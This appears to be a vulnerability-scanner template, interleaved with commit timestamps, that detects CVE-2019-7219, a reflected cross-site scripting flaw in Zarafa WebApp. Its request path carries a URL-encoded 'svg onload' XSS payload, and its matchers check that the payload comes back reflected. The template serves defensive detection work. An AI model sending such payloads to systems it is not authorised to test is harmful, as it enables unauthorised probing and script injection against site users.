2021-01-09 14:45:11 +00:00
id : CVE-2019-7219
info :
name : Zarafa WebApp Reflected XSS
2021-04-06 06:46:11 +00:00
author : pdteam
2021-09-10 11:26:40 +00:00
severity : medium
2021-03-30 12:10:17 +00:00
description : |
Unauthenticated reflected cross-site scripting (XSS) exists in Zarafa Webapp 2.0.1.47791 and earlier. NOTE : this is a discontinued product. The issue was fixed in later Zarafa Webapp versions; however, some former Zarafa Webapp customers use the related Kopano product instead.
2021-08-18 11:37:49 +00:00
reference :
2021-03-30 12:10:17 +00:00
- https://github.com/verifysecurity/CVE-2019-7219
- https://stash.kopano.io/repos?visibility=public
2021-02-05 19:44:41 +00:00
tags : cve,cve2019,zarafa,xss
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2019-7219
cwe-id : CWE-79
2021-01-09 14:45:11 +00:00
requests :
- method : GET
path :
2021-03-04 16:02:34 +00:00
- '{{BaseURL}}/webapp/?fccc%27\%22%3E%3Csvg/onload=alert(xss)%3E'
2021-01-09 14:45:11 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2021-03-04 16:02:34 +00:00
- "<svg/onload=alert(xss)>"
2021-01-09 14:45:11 +00:00
- type : word
part : header
words :
2021-01-11 06:44:22 +00:00
- "text/html"
- type : status
status :
- 200
